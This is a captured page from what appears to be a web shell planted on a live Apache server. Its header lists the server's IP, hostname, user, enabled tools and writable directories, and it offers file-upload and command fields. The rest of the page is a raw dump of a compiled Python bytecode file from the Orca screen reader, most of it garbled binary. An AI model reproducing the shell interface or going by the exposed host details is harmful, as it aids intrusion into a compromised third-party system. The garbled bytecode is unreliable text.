403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.156
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/orca/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/orca/__pycache__/formatting.cpython-310.pyc
o

S�b���"@s�dZdZdZdZdZdZddlZddlZdd	lm	Z	dd
lm
Z
dZdZd
Z
ide	j�de	j�de	j�de	j�de	j�de	j�de	j�de	j�de	j�de	j�de	j�de	j�de	j�de	j�de	j�de	j�de	j�de	ji�e	j e	j!e	j"e	j#e	j$e	j%e	j&e	j'e	j(e	j)e	j*e	j+d �e	j,e	j-e	j.e	j/e	j0e	j1e	j2e	j3e	j4e	j5e	j6e	j7e	j8d!�
d"�id#d$d%d&d'd(��d)d'd*ed+ed,ed-d(��d.d'd/ed0d1d2d(��ej9d3d4i�ej:d3d5i�ej;d1d6d7��ej<d8d9d7��ej=d:d:d;d<d(��ej>d3d=i�ej?d>d?ed@dAedBdC��ej@d>dDedEdFedC��ejAdGdHedIedJdC��ejBdKdLd7��ejCdMdNed@d7��ejDd1d6d7��dOdPdQd7��dRd3dSi�idTdUdVd7��dWdXdYd7��dZd[d\i�ejEd3d]i�ejFd3d]i�ejGdGd^ed_edJdC��ejHd`dad7��ejIdbedceddede��ejJdbedcedfede��dgdhdid7��djdkdid7��ejKd1dld7��ejLdmdnedoedped(��ejMd3d6i�ejNd3dqi�ejOdrd=d7��ejPdsdtd7���iejQd3dqi�ejRdududvedwed(��ejSd:d:d;d<d(��ejTd3dxi�ejUd3dyi�ejVd3dzi�ejWd{d|d7��ejXd}d}d~dd(��ejYd�ed�ed���ejZd�d�d7��ej[d�d�d7��ej\d�d�d�dC��ej]d3d�i�d�d3d�i�d�d3d�i�ej^d3d�i�ej_d3d�i��id�d3d�i�d�d3d�i�d�d3d�i�d�d3d�i�d�d3d�i�ej`d1d/edEd�edC��ejad�d�edEd�edC��ejbd3d�i�ejcd�d�ed�ed�ed(��ejdd�ed@d�ed@d�ed@dC��ejed�d�d7��ejfd�d�ed�ed�ed(��ejgd�d�ed�ed�ed(��ejhd�d�d7��ejid�d�ed@d�ed@dC��ejjd�d�ed�d�ed@dC��ejkd�d�ed�d�edC���id�d�d�d7��ejldKdLd7��ejmdGd^ed_edJdC��ejnd3d�i�ejod�d�ed7��ejpdGd�ed_edBdC��ejqd�d�ed�edBdC��ejrd�d�ed7��ejsdGd�ed�dC��ejtd3dqi�ejudxd�d7��ejvd3d�i�ejwd3d�i�d�d�d�ed@d�dC��ejxd�d�d�dC��ejyd�d�d�d�d(��d�d�d�d7���ejzd�d�d�dC�ej{d'd�d7�ej|d�d�d�ed�ed(�ej}d�d�ed�ed�ed(�ej~d�d�ed@d�dC�ejdxdxd7�ej�d\d�d�dC�ej�dxdxd7�ej�d�d�d�dC�i	�id#d�d�d7��d)d�d�d7��d.d�d�d7��ej9d3d�e
d�i�ej:d3d�i�ej�d�d�d7��ej;d3d�e
d�i�ej<d3e
d�i�ej=d3d�i�ej?d3d�i�ej@d3d�i�ejBd3d�i�ejCd3d�i�ejGd3d�i�ejHd3d�i�ejId�e
d7��ejJd�e
d7��iejLd3e
i�ejOd3d�e
d�i�ejPd�d�d7��ejRd3d�i�ejSd3d�i�ejTd�d�d7��ejVd3e
i�ejYd3d�i�ejZd3d�i�ej[d3d�i�ej\d�e
d�d�e
d�d7��ej`d�d�d7��ejad3d�i�ejbd3d�e
d�i�ejcd3e
i�ejdd�d�d7��ejed3d�e
d�i��iejfd3e
i�ejgd3e
i�ejhd3d�i�ejid3d�i�ejjd3d�i�ejkd��dd7��ejld3d�i�ejmd3d�i�ejnd3�di�ejod3e
i�ejpd3�di�ejqd3�di�ejud3�di�d�d3�di�ejyd3d�e
�di�d�d3�de
�di�ej{d3�d	i��ej|d3�d
iej}d3e
iej~d3�diejd3�diej�d3�diej�d3d�e
�d
ii�id#d'd'd'd'd(��d)d'�dd'd'd(��d.d'd�d'd'd(��ej=d3�di�ej?d>�dd7��ej@d>�dd7��ejCd��dd7��ejG�d�dd7��ejLd3�di�ejRd��dd7��ejSd3�di�ejYd��dd7��ejZd3�di�ej[d3�di�ej\d��dd7��ejad��dd7��ejdd3�di�ejh�d�dd7�ejid��dd7�ejjd��dd7�ejkd��dd7�ejm�d�dd7�ejp�d�dd7�ejq�d�dd7�ejs�d�d d7�d�dǐd!d7�ejyd��dd7�ejzd[d�iej}d3�diej~dݐd"d7�ej�d��dd7�i��d#�Z�G�d$�d%��d%e��Z�dS(&z)Manages the formatting settings for Orca.z$Id:$z$Revision:$z$Date:$z-Copyright (c) 2004-2009 Sun Microsystems Inc.�LGPL�N�)�object_properties)�settingsz'(tutorial and (pause + tutorial) or [])z3(mnemonic and (pause + mnemonic + lineBreak) or [])a#[Text(obj, asString(labelOrName or placeholderText), asString(eol), startOffset, endOffset)]                + (invalid and [Region(" " + asString(invalid))])                + (required and [Region(" " + asString(required))])                + (readOnly and [Region(" " + asString(readOnly))])�invalid�required�readonly�insensitive�checkbox�radiobutton�switch�togglebutton�	expansion�	nodelevel�nestinglevel�multiselect�	iconindex�
groupindex�	clickable�haslongdesc�
hasdetails�
detailsfor)�eolrrr	rr
rrr
rrr)
rrrr	r
rrr
rrrr�visited)�speech�braille�sound�prefix�
detailsForzoldAncestors + newAncestors�toolbarz[])�focused�	unfocused�
basicWhereAmI�detailedWhereAmI�suffixz[newNodeLevel + unselectedCell + clickable + pause + hasLongDesc + hasDetails + detailsFor +z! + description + pause + hasPopupze + clickable + hasLongDesc + description + pause + hasPopup + pause + detailsFor + pause + allDetailsz] + clickable + hasLongDesc + description + pause + hasPopup + detailsFor + pause + allDetails�defaultz(labelOrName + roleName + availability + z + accelerator + childWidgetzlabelOrName + roleName�pageSummaryr!z*roleName + labelOrName + pause + alertText�labelAndNamezClabelOrName + roleName + pause + currentLineText + allTextSelection)r r!z,leaving or (roleName + pause + nestingLevel)z7roleName + pause + nestingLevel + pause + displayedTextzFlabelAndName + (imageDescription or roleName) + pause + positionInListzIparentRoleName + pause + labelAndName + pause + selectedItemCount + pausezaparentRoleName + pause + labelAndName + pause + selectedItemCount + pause + selectedItems + pausez<((substring and currentLineText) or labelAndName) + roleName�checkedStatez_labelOrName + readOnly + roleName + checkedState + required + pause + invalid + availability + z + acceleratorzJnamedContainingPanel + labelOrName + readOnly + roleName + checkedState + z+ + accelerator + required + pause + invalid)r r!r"zBlabelOrName + roleName + checkedState + required + availability + z' + accelerator + pause + positionInListzkancestors + pause + labelOrName + roleName + checkedState + pause + accelerator + pause + positionInList + �valuez5label + roleName + value + required + availability + z(label + roleName + value + percentage + z + accelerator + requiredz+labelAndName + roleName + pause + sortOrderzP((substring and currentLineText) or labelAndName) + roleName + pause + sortOrderz(labelOrName + roleName + expandableStatezBlabelOrName + roleName + pause + value + pause + positionInList + �ROLE_CONTENT_DELETIONzleaving or deletionStartz;deletionStart + pause + displayedText + pause + deletionEnd�ROLE_CONTENT_ERRORzdisplayedText + pause + invalid�ROLE_CONTENT_INSERTIONzleaving or insertionStartz=insertionStart + pause + displayedText + pause + insertionEnd�ROLE_CONTENT_MARKzleaving or markStartz3markStart + pause + displayedText + pause + markEnd�ROLE_CONTENT_SUGGESTIONr zleaving or roleNamez3(labelOrName or (displayedText + allTextSelection))z;labelOrName + roleName + value + required + availability + z.labelOrName + roleName + value + percentage + z9labelOrName + roleName + (unrelatedLabels or description)zM(expandedEOCs or (labelOrName + roleName + (unrelatedLabels or description)))zIlabelOrName + readOnly + textRole + currentLineText + anyTextSelection + zElabelOrName + readOnly + textRole + textContent + anyTextSelection + zSlabelOrName + readOnly + textRole + textContentWithAttributes + anyTextSelection + )r!r"r#zSlabelorName + readOnly + textRole + textContentWithAttributes + anyTextSelection + �ROLE_DPUB_LANDMARKzleaving or labelOrNamez0labelOrName + currentLineText + allTextSelection�ROLE_DPUB_SECTIONz#leaving or (labelOrName + roleName)z<(expandedEOCs or (labelOrName + unrelatedLabels)) + roleNamez[labelOrName + readOnly + textRole + (currentLineText or placeholderText) + allTextSelectionz{labelOrName + readOnly + textRole + (currentLineText or placeholderText) + allTextSelection + required + pause + invalid + zwlabelOrName + readOnly + textRole + (textContent or placeholderText) + anyTextSelection + required + pause + invalid + z�labelOrName + readOnly + textRole + (textContentWithAttributes or placeholderText) + anyTextSelection + required + pause + invalid + z"(displayedText or name) + roleNamez$leaving or (labelAndName + roleName)�labelOrNamez<labelOrName + roleName + unfocusedDialogCount + availabilityz*displayedText + roleName + expandableStatezGlabel + readOnly + textRole + pause + textContent + anyTextSelection + zUlabel + readOnly + textRole + pause + textContentWithAttributes + anyTextSelection + zlabelAndName + roleNamezlabelAndName + unrelatedLabelsz?label + ((displayedText + allTextSelection) or name) + roleNamez$leaving or (roleName + labelAndName)zVroleName + (labelAndName or (substring and currentLineText)) + pause + unrelatedLabelsz=(labelAndName or roleName) + availability + noShowingChildrenz>(labelAndName or roleName) + pause + selectedItemCount + pausezi(labelAndName or roleName) + pause + roleName + pause + selectedItemCount + pause + selectedItems + pausezN(name or displayedText) + roleName + pause + expandableState + availability + z@linkInfo + pause + siteDescription + pause + fileSize + pause + )r!r"zXleaving or (labelOrName + pause + (numberOfChildren or roleName) + pause + nestingLevel)zilabelOrName + pause + focusedItem + pause + multiselectableState + (numberOfChildren or roleName) + pausezClabelOrName + multiselectableState + (numberOfChildren or roleName)�expandableStatez�(labelOrName or (displayedText + allTextSelection)) + checkedStateIfCheckable + pause + unselectedStateIfSelectable + pause + expandableState + pause + positionInList + pause + listBoxItemWidgetsz�label + roleName + pause + (name or displayedText) + checkedStateIfCheckable + pause + unselectedStateIfSelectable + pause + positionInList + pause + expandableState + (nodeLevel or nestingLevel) + pause�math�ROLE_MATH_ENCLOSEDz!enclosedBase + enclosedEnclosures�ROLE_MATH_FENCEDz8fencedStart + pause + fencedContents + pause + fencedEndzlfractionStart + pause + fractionNumerator + fractionLine + fractionDenominator + pause + fractionEnd + pausez.rootStart + rootBase + pause + rootEnd + pause�ROLE_MATH_MULTISCRIPTzIscriptBase + pause + scriptPrescripts + pause + scriptPostscripts + pause�ROLE_MATH_SCRIPT_SUBSUPERzHscriptBase + pause + scriptSubscript + pause + scriptSuperscript + pause�ROLE_MATH_SCRIPT_UNDEROVERzIscriptBase + pause + scriptUnderscript + pause + scriptOverscript + pause�ROLE_MATH_TABLEzEmathTableStart + pause + mathTableRows + pause + mathTableEnd + pause�ROLE_MATH_TABLE_ROW�mathRowzZ(ancestors or parentRoleName) + pause + labelOrName + roleName + pause + positionInList + zIlabelOrName + checkedStateIfCheckable + expandableState + availability + zkancestors + pause + labelOrName + checkedStateIfCheckable + pause + accelerator + pause + positionInList + zQroleName + labelOrName + pause + (expandedEOCs or unrelatedLabels or description)z5label + readOnly + currentLineText + anyTextSelectionz8label + readOnly + currentLineText + anyTextSelection + z?label + readOnly + textRole + textContent + anyTextSelection + zMlabel + readOnly + textRole + textContentWithAttributes + anyTextSelection + z2labelOrName + roleName + pause + positionInList + zKparentRoleName + pause + labelOrName + roleName + pause + positionInList + z>leaving or (labelAndName + roleName + pause + unrelatedLabels)zV((substring and currentLineText) or labelAndName) + roleName + pause + unrelatedLabelszXlabelOrName + readOnly + textRole + textIndentation + currentLineText + allTextSelectionz[labelOrName + readOnly + textRole + textIndentation + currentLineText + allTextSelection + zFlabelOrName + readOnly + textRole + currentLineText + allTextSelectionzIlabelOrName + readOnly + textRole + currentLineText + allTextSelection + z1progressBarIndex + (progressBarValue or roleName)z@progressBarIndex + labelAndName + (progressBarValue or roleName)z;labelAndName + expandableState + roleName + availability + z,labelAndName + expandableState + roleName + �
radioStatezknewRadioButtonGroup + pause + (name or label) + pause + radioState + roleName + availability + lineBreak + z/ + accelerator + pause + positionInList + pausezgradioButtonGroup + pause + (name or label) + roleName + pause + radioState + pause + positionInGroup + zClabelOrName + radioState + roleName + availability + positionInListz5labelOrName + radioState + roleName + availability + z + accelerator + positionInListzQancestors + labelOrName + roleName + radioState + accelerator + positionInList + �ROLE_REGIONz#leaving or (roleName + labelOrName)z;labelOrName + roleName + currentLineText + allTextSelectionz@(currentLineText + allTextSelection) or (labelOrName + roleName)z@(labelOrName or (currentLineText + allTextSelection)) + roleNamezC(labelOrName or (currentLineText + allTextSelection)) + roleName + zMlabelOrName + roleName + value + required + pause + invalid + availability + z(displayedText or value)zalabelAndName + (displayedText or value) + roleName + required + pause + invalid + availability + z5label + roleName + name + (displayedText or value) + �roleNamez5roleName + (labelOrName or displayedText or value) + z1labelAndName + roleName + value + availability + zlabelAndName + roleName + valuez+labelAndName + roleName + pause + statusBarz-roleName + currentLineText + allTextSelection�ROLE_SWITCH�switchStatez6labelOrName + roleName + switchState + availability + z$labelOrName + roleName + switchStatez)leaving or (labelAndName + pause + table)zlabelAndName + pause + tablez�((tableCell2ChildLabel + tableCell2ChildToggle) or cellCheckedState) + pause + (expandableState and (expandableState + pause + numberOfChildren + pause))ztableCellRow + pausez�parentRoleName + pause + columnHeader + pause + rowHeader + pause + roleName + pause + cellCheckedState + pause + (realActiveDescendantDisplayedText or imageDescription + image) + pause + columnAndRow + pause + expandableState + pause + nodeLevel + pauseaparentRoleName + pause + columnHeader + pause + rowHeader + pause + roleName + pause + cellCheckedState + pause + (realActiveDescendantDisplayedText or imageDescription + image) + pause + columnAndRow + pause + tableCellRow + pause + expandableState + pause + nodeLevel + pause�REAL_ROLE_TABLE_CELLz�(tableCell2ChildLabel + tableCell2ChildToggle)                          or (cellCheckedState + (expandableState and (expandableState + numberOfChildren)))a�(tableCell2ChildLabel + tableCell2ChildToggle)                          or (newRowHeader + (newColumnHeader or columnHeaderIfToggleAndNoText)                               + cellCheckedState                              + (realActiveDescendantDisplayedText or imageDescription + image)                              + (expandableState and (expandableState + numberOfChildren))                              + required + pause + invalid)zQ(labelOrName or displayedText) + pause + expandableState + pause + positionInListzz(labelOrName or displayedText) + roleName + pause + positionInList + pause + expandableState + (nodeLevel or nestingLevel)z&labelOrName + roleName + availability �textContentzOlabel + readOnly + pause + textRole + pause + textContent + anyTextSelection + z]label + readOnly + pause + textRole + pause + textContentWithAttributes + anyTextSelection + zulabelOrName + readOnly + textRole + pause + textIndentation + (currentLineText or placeholderText) + allTextSelectionzxlabelOrName + readOnly + textRole + pause + textIndentation + (currentLineText or placeholderText) + allTextSelection + zjlabelOrName + readOnly + textRole + pause + (textContent or placeholderText) + anyTextSelection + pause + zxlabelOrName + readOnly + textRole + pause + (textContentWithAttributes or placeholderText) + anyTextSelection + pause + zexpandableState or toggleStatezKlabelOrName + roleName + (expandableState or toggleState) + availability + z9labelOrName + roleName + (expandableState or toggleState)zroleName + labelAndNamea�(includeContext                           and (ancestors                                + (rowHeader and [Region(" " + asString(rowHeader))])                                + (columnHeader and [Region(" " + asString(columnHeader))])                                + (radioButtonGroup and [Region(" " + asString(radioButtonGroup))])                                + [Region(" ")])                           or [])z3(nodeLevel and [Region(" " + asString(nodeLevel))])z}[Component(obj,                                     asString(label + displayedText + value + roleName + required + invalid))]z((substring and zT)                          or ([Component(obj, asString(labelAndName + roleName))]))z�[Component(obj,                                     asString(label + displayedText + roleName + (description and space(": ") + description)))]z+[Component(obj, asString(name + roleName))]z�)                          or ([Component(obj, asString(labelAndName + roleName))]                             + (childWidget and ([Region(" ")] + childWidget))))zC + (roleName and [Region(" " + asString(roleName + nestingLevel))])z[Component(obj,                                     asString(((label + displayedText + imageDescription) or name) + roleName))]z�[Component(obj,                                     asString(labelOrName + roleName),                                     indicator=asString(checkedState))]z�[Component(obj,                                     asString(label + displayedText + roleName + availability) + asString(accelerator),                                     indicator=asString(checkedState))]z�[Component(obj,                                     asString(((substring and currentLineText) or labelAndName) + roleName + sortOrder))]z�[Component(obj, asString(labelOrName + value + roleName),                                      labelOrName and (len(asString(labelOrName)) + 1) or 0)]zi[Component(obj,                                     asString(labelOrName + value + roleName + required))]zU[Component(obj, asString(labelOrName + roleName + (unrelatedLabels or description)))]z�[Text(obj, asString(placeholderText), asString(eol), startOffset, endOffset)]                          + (required and [Region(" " + asString(required))])                          + (readOnly and [Region(" " + asString(readOnly))])zl[Component(obj,                                     asString(labelOrName + roleName + alertAndDialogCount))]z�[Text(obj, asString(placeholderText), "", startOffset, endOffset)]                          + [Region(" " + asString(roleName))]zj[Component(obj,                                     asString(labelAndName + value + roleName + required))]zx[Link(obj, asString(name or displayedText))]                         + (roleName and [Region(" " + asString(roleName))])z�[Component(obj,                                     asString(label + focusedItem + roleName),                                     asString(label) and (len(asString(label)) + 1) or 0)]a�)                          or ([Component(obj,                                     asString(label + displayedText + expandableState + roleName + availability) + asString(accelerator), indicator=asString(checkedStateIfCheckable))]                           + (nestingLevel and [Region(" " + asString(nestingLevel))])                          + (listBoxItemWidgets and ([Region(" ")] + listBoxItemWidgets))))a)                          or ([Component(obj, asString(labelOrName + expandableState))]                              + (nestingLevel and [Region(" " + asString(nestingLevel))])                              + (listBoxItemWidgets and ([Region(" ")] + listBoxItemWidgets))))z}[Component(obj,                                     asString(labelOrName + roleName + availability) + asString(accelerator))]zV[Component(obj,                                     asString(labelOrName + roleName))]z�[Component(obj,                                     asString(labelOrName + expandableState + availability) + asString(accelerator),                                     indicator=asString(checkedStateIfCheckable))]z�(progressBarValue and                            [Component(obj, asString(labelAndName + progressBarValue + roleName + progressBarIndex))])                            or []zz[Component(obj,                                     asString((labelAndName or description) + expandableState + roleName))]z�[Component(obj,                                     asString((labelOrName or description) + roleName),                                     indicator=asString(radioState))]z�[Component(obj,                                     asString((labelOrName or description) + roleName + availability)                                     + asString(accelerator),                                     indicator=asString(radioState))]z�[Component(obj,                                     asString(labelOrName or description)                                     + asString(accelerator),                                     indicator=asString(radioState))]�asPageTabOrScrollPanezs[Component(obj,                                     asString(labelOrName + value + roleName + required + invalid))]z�[Text(obj, asString(label), asString(eol))]                          + (required and [Region(" " + asString(required))] or [])                          + (readOnly and [Region(" " + asString(readOnly))] or [])zk[Component(obj, asString(labelOrName + roleName))]                              + [Region(" ")] + statusBarz�[Component(obj,                                     asString((labelOrName or description) + roleName),                                     indicator=asString(switchState))]z) or tableCellRow)z[((tableCell2ChildToggle + tableCell2ChildLabel)                          or (substring and aH)                           or (cellCheckedState                              + (columnHeaderIfToggleAndNoText and [Region(" "), Component(obj, asString(columnHeaderIfToggleAndNoText))])                              + ((realActiveDescendantDisplayedText and [Component(obj, asString(realActiveDescendantDisplayedText))])                                 or (imageDescription and [Region(" "), Component(obj, asString(imageDescription))]))                              + (realActiveDescendantRoleName and [Component(obj, (realActiveDescendantDisplayedText and " " or "") + asString(realActiveDescendantRoleName))])                              + (expandableState and [Region(" " + asString(expandableState))])                              + (required and [Region(" " + asString(required))]))                          or ([Component(obj,"")]))zH[Component(obj,                                     asString(roleName))]z[Text(obj)]z�[Component(obj,                                     asString((labelOrName or description) + expandableState + roleName),                                     indicator=asString(toggleState))]z2[Component(obj, asString(labelOrName + roleName))]z�)                          or ([Component(obj, asString(labelOrName + expandableState))]                              + (nodeLevel and [Region(" " + asString(nodeLevel))])))zclickable + hasLongDesczroleName + positionInSetz;roleName + checkedState + required + invalid + availabilityz6roleName + checkedState + availability + positionInSet�
percentagez9roleName + percentage + required + invalid + availabilityz7roleName + readOnly + required + invalid + availabilityzroleName + expandableStatez)roleName + visitedState + expandableStatezroleName + multiselectableStatez*roleName + expandableState + positionInSetz9roleName + expandableState + availability + positionInSet�progressBarValuezroleName + progressBarValuez)roleName + expandableState + availabilityz4roleName + radioState + availability + positionInSetzroleName + percentagez9roleName + availability + percentage + required + invalidz$roleName + percentage + availabilityz%roleName + switchState + availabilityz:roleName + (expandableState or toggleState) + availability)�stringsrrrc@s<eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
S)�
FormattingcCs$t�|�||_|�t�t��dS)N)�dict�__init__�_script�update�copy�deepcopy�
formatting)�self�script�rQ�1/usr/lib/python3/dist-packages/orca/formatting.pyrI�s
zFormatting.__init__cCsz|��D]6\}}||vr6t||t�r t|t�r ||�|�qt||t�r1t|t�r1|||<qtd�q|||<qdS)Nz(an error has occurred, cant merge dicts.)�items�
isinstancerHrK�str�print)rO�newDict�key�valrQrQrRrK�s�


�zFormatting.updatecK�||dd|d}|S)a*Get a formatting string to add on to the end of
        formatting strings obtained by getFormat.

        Arguments expected in args:
        - mode: output mode, such as 'speech', 'braille'.
        - formatType: the type of formatting, such as
          'focused', 'basicWhereAmI', etc.
        �moder�
formatTyperQ)rO�argsrrQrQrR�	getPrefix�s	zFormatting.getPrefixcKrZ)a^Get a formatting string to add on to the end of
        formatting strings obtained by getFormat.

        Arguments expected in args:
        - mode: output mode, such as 'speech', 'braille'.
        - role: the role, such as pyatspi.ROLE_TEXT
        - formatType: the type of formatting, such as
          'focused', 'basicWhereAmI', etc.
        r[r$r\rQ)rOr]r$rQrQrR�	getSuffix�s
zFormatting.getSuffixcKs|d|d|dS)aGets a human consumable string for a specific value
        (e.g., an indicator for a checkbox state).

        Arguments expected in args:
        - mode: output mode, such as 'speech', 'braille'.
        - stringType: the type of the string to get (see the dictionary above).
        rFr[�
stringTyperQ�rOr]rQrQrR�	getStringszFormatting.getStringcKs�z||d|d|dWSY|�d�dkr-z
||d|ddWSYz
||d|ddWSYz
||dd|dWSYz||dddWSgYS)axGet a formatting string for the given mode and formatType for a
        role (e.g., a where am I string for a text object).

        Arguments expected in args:
        - mode: output mode, such as 'speech', 'braille'.
        - role: the role, such as pyatspi.ROLE_TEXT
        - formatType: the type of formatting, such as
          'focused', 'basicWhereAmI', etc.
        r[�roler\r#r"r!r%)�getrarQrQrR�	getFormats*
zFormatting.getFormatN)	�__name__�
__module__�__qualname__rIrKr^r_rbrerQrQrQrRrG�s

rG)��__doc__�__id__�__version__�__date__�
__copyright__�__license__rL�pyatspi�rr�TUTORIAL�MNEMONIC�BRAILLE_TEXT�INVALID_INDICATORS_SPEECH�STATE_REQUIRED_SPEECH�STATE_READ_ONLY_SPEECH�STATE_INSENSITIVE_SPEECH�CHECK_BOX_INDICATORS_SPEECH�RADIO_BUTTON_INDICATORS_SPEECH�SWITCH_INDICATORS_SPEECH�TOGGLE_BUTTON_INDICATORS_SPEECH�EXPANSION_INDICATORS_SPEECH�NODE_LEVEL_SPEECH�NESTING_LEVEL_SPEECH�STATE_MULTISELECT_SPEECH�ICON_INDEX_SPEECH�GROUP_INDEX_SPEECH�STATE_CLICKABLE�STATE_HAS_LONGDESC�RELATION_HAS_DETAILS�RELATION_DETAILS_FOR�EOL_INDICATOR_BRAILLE�STATE_REQUIRED_BRAILLE�STATE_READ_ONLY_BRAILLE�STATE_INSENSITIVE_BRAILLE�INVALID_INDICATORS_BRAILLE�CHECK_BOX_INDICATORS_BRAILLE�RADIO_BUTTON_INDICATORS_BRAILLE�SWITCH_INDICATORS_BRAILLE� TOGGLE_BUTTON_INDICATORS_BRAILLE�EXPANSION_INDICATORS_BRAILLE�NODE_LEVEL_BRAILLE�NESTING_LEVEL_BRAILLE�INVALID_INDICATORS_SOUND�STATE_REQUIRED_SOUND�STATE_READ_ONLY_SOUND�STATE_INSENSITIVE_SOUND�CHECK_BOX_INDICATORS_SOUND�RADIO_BUTTON_INDICATORS_SOUND�SWITCH_INDICATORS_SOUND�TOGGLE_BUTTON_INDICATORS_SOUND�EXPANSION_INDICATORS_SOUND�STATE_MULTISELECT_SOUND�STATE_CLICKABLE_SOUND�STATE_HAS_LONGDESC_SOUND�STATE_VISITED_SOUND�
ROLE_ALERT�ROLE_ANIMATION�ROLE_ARTICLE�ROLE_BLOCK_QUOTE�ROLE_CANVAS�ROLE_CAPTION�ROLE_CHECK_BOX�ROLE_CHECK_MENU_ITEM�ROLE_COLOR_CHOOSER�ROLE_COLUMN_HEADER�ROLE_COMBO_BOX�ROLE_COMMENT�ROLE_DESCRIPTION_TERM�ROLE_DESCRIPTION_VALUE�	ROLE_DIAL�ROLE_DIALOG�ROLE_DOCUMENT_FRAME�ROLE_DOCUMENT_WEB�
ROLE_EMBEDDED�
ROLE_ENTRY�
ROLE_FOOTNOTE�ROLE_FOOTER�	ROLE_FORM�
ROLE_FRAME�ROLE_HEADER�ROLE_HEADING�	ROLE_ICON�
ROLE_IMAGE�
ROLE_INFO_BAR�
ROLE_LABEL�
ROLE_LANDMARK�ROLE_LAYERED_PANE�	ROLE_LINK�	ROLE_LIST�
ROLE_LIST_BOX�ROLE_LIST_ITEM�	ROLE_MATH�ROLE_MATH_FRACTION�ROLE_MATH_ROOT�	ROLE_MENU�ROLE_MENU_ITEM�ROLE_NOTIFICATION�	ROLE_PAGE�
ROLE_PAGE_TAB�
ROLE_PANEL�ROLE_PARAGRAPH�ROLE_PASSWORD_TEXT�ROLE_PROGRESS_BAR�ROLE_PUSH_BUTTON�ROLE_RADIO_BUTTON�ROLE_RADIO_MENU_ITEM�ROLE_ROW_HEADER�ROLE_SCROLL_BAR�ROLE_SCROLL_PANE�ROLE_SECTION�ROLE_SLIDER�ROLE_SPIN_BUTTON�ROLE_SEPARATOR�ROLE_SPLIT_PANE�ROLE_STATIC�ROLE_STATUS_BAR�ROLE_SUBSCRIPT�ROLE_SUPERSCRIPT�
ROLE_TABLE�ROLE_TABLE_CELL�ROLE_TABLE_ROW�ROLE_TEAROFF_MENU_ITEM�
ROLE_TERMINAL�	ROLE_TEXT�ROLE_TOGGLE_BUTTON�
ROLE_TOOL_BAR�
ROLE_TOOL_TIP�	ROLE_TREE�ROLE_TREE_ITEM�ROLE_APPLICATIONrNrHrGrQrQrQrR�<module>sZ	��������	�
���
���������:��
��

����������!��'��*

��/
��4
��9��=
��A��F��J��N��S��X��[��^��a
��f��j��o��t��x��|��������
���
���������������$���'���*���-���1���7���;���?���C���H���L���P���S���V���Z���^���b���f���j���m
���r
���w���z���


��������
������������

����

����$
����0����4����8
����=����@����D
����I
����N����R����W����Z����^����a����d
����i����n����t��������
���������8������%��)��-��1��7��:��>��C��H��L��Q��U��Y��_��e��h��l��r��w��{��������	������

������%���*���.���2���9���>���A���D���I���M���R���\���`���d���g���k���o���t���x�������������������������6����
����������"��&��)��-��0��4��7��:��>��B��E����������������������1

Youez - 2016 - github.com/yon3zu
LinuXploit